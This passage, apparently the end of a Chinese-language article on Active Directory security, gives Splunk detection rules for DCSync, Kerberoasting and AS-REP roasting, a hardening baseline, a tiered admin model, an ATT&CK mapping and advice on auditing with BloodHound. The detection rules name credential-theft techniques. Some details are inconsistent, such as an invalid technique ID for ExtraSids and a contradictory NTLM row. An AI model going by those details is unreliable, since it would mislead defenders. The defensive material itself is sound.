信任域(ExtraSids) DC: 4768(含额外 SID 的 TGT) TGT PAC 中含跨域高权 SID;非预期来源 启用 SID 过滤;定期审计信任;监控跨域认证
DCSync DC: 4662(1131f6aa/1131f6ad) 非 DC、非备份窗口发起 DRSUAPI;非预期账户 严格 Replicating Directory Changes 授权;监控 4662 中的复制 GUID

15.1 Splunk/SIEM 检测规则示例

# DCSync 检测(Splunk SPL)
index=windows sourcetype=XmlWinEventLog:Security EventCode=4662
| search Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
  OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where NOT match(Account_Name, "\$$")          // 排除机器账户
| where NOT match(Account_Name, "^(?i)(svc_backup|adconnectsync)$")  // 排除已知合法
| stats count by _time, host, Account_Name, Source_Network_Address
| where count > 1
# Kerberoasting 检测:短时间大量 TGS 请求且 etype=23(RC4)
index=windows sourcetype=XmlWinEventLog:Security EventCode=4769
| eval etype=if(searchmatch("Ticket_Encryption_Type=0x17"), "RC4", "AES")
| search etype=RC4
| stats dc(Service_Name) as distinct_spn count by _time, Client_Name, Source_Network_Address
| where count > 10 OR distinct_spn > 5
# AS-REP Roasting 检测:预认证失败
index=windows sourcetype=XmlWinEventLog:Security EventCode=4768
| search "Pre-Authentication_Type=0"
| stats count by _time, TargetUserName, Source_Network_Address

十六、防御方案:AD 安全基线与攻击面最小化

枚举的价值在于"发现可利用路径",防御的价值在于"把可利用路径堵死"。本节给出可落地的三层防御框架。

16.1 配置层:AD 安全基线

防御项 配置 对应攻击
禁用 RC4 GPO: 仅允许 AES256/AES128 Kerberoasting 爆破难度↑
禁用 NTLMv1/v2 GPO: 仅允许 NTLMv2,逐步禁用 NTLM Pass-the-Hash
MachineAccountQuota=0 Set-ADDomain -Identity corp -Replace @{msDS-MachineAccountQuota=0} RBCD
启用 PAE / Protected Users 高权账户加入 Protected Users 组 委派、PTT
禁用 DC 的 Spooler Stop-Service Spooler; Set-Service Spooler -StartupType Disabled 非约束委派触发
启用 LAPS 部署 Windows LAPS,本地管理员密码随机轮换 横向移动
证书模板修复 关闭 ENROLLEE_SUPPLIES_SUBJECT;收紧 EKU;限制注册 ACL ESC1-ESC8
信任启用 SID 过滤 netdom trust /domain:root /enablesidfiltering:yes ExtraSids 跨域
服务账户转 gMSA New-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword Kerberoasting、密码喷洒
禁用 GPP 密码 删除残留 Groups.xml 等 GPP 解密

16.2 架构层:攻击面最小化

  1. 分层管理模型(Tiered Admin Model):Tier 0(DC/林根)、Tier 1(服务器)、Tier 2(工作站),各级管理员账户物理隔离,禁止跨层登录。这切断了"工作站管理员 → 服务器管理员 → 域管"的横向链。
  2. 特权访问工作站(PAW):域管操作只能在专用 PAW 上进行,PAW 不上网、不收邮件。降低凭据暴露面。
  3. 服务账户隔离:每个服务用独立 gMSA,最小权限,禁止服务账户加入 Domain Admins。
  4. AD CS 隔离:CA 服务器独立于 DC,Web Enrollment 默认关闭,必要时启用 EPA 与证书绑定。
  5. 信任最小化:能用林信任就不用外部信任;所有信任启用 SID 过滤;跨林信任考虑 selective authentication。

16.3 检测层:SIEM 检测规则矩阵

将第十五节的检测日志落地为 SIEM 规则,并按 MITRE ATT&CK 子技术打标签,便于威胁狩猎:

ATT&CK 子技术 检测规则核心 严重级别
T1087.002 Account Discovery: Domain Account 单 IP 5 分钟内 >500 条 LDAP 查询 中
T1069.002 Permission Groups Discovery: Domain Group 同上 + 查询 memberOf 中
T1558.004 AS-REP Roasting 4768 PreAuthType=0 高
T1558.003 Kerberoasting 4769 etype=23 且 distinct SPN>5 高
T1003.006 DCSync 4662 含复制 GUID 且来源非 DC 严重
T1606 Forge Web Credentials(AD CS) 4887 SAN 与请求者不一致 / Web Enrollment NTLM 中继 严重
T1097.003 ExtraSids 4768 PAC 含跨域高权 SID 严重
T1078.002 Valid Accounts: Domain 委派账户在非预期机器登录 高

16.4 持续审计:把枚举变成蓝队工具

最有讽刺意味也最有效的是:红队用的枚举工具,蓝队同样要用。建议建立常态化 AD 嗅探机制:

  • 每周跑一次 SharpHound 采集,对比上周图谱,发现新增的 GenericAll、MemberOf、HasSession 边 → 这些是配置变更的"红区"。
  • 每月跑一次 BloodHound 自定义 Cypher(第十四节),生成"高危路径清单"交运维整改。
  • 每季度跑一次 ADRecon 全量报告,对比 CIS AD Benchmark 基线。

把"攻击者视角的枚举"内化为"防御者视角的审计",才是 AD 安全的终极解法。AD 的攻击面是动态的——人员变动、应用上线、信任建立都会产生新的可利用路径。静态的基线配置只能挡住已知攻击,持续的可视化与路径分析才能发现"今天新长出来的那条通往 Domain Admin 的暗道"。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC 代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。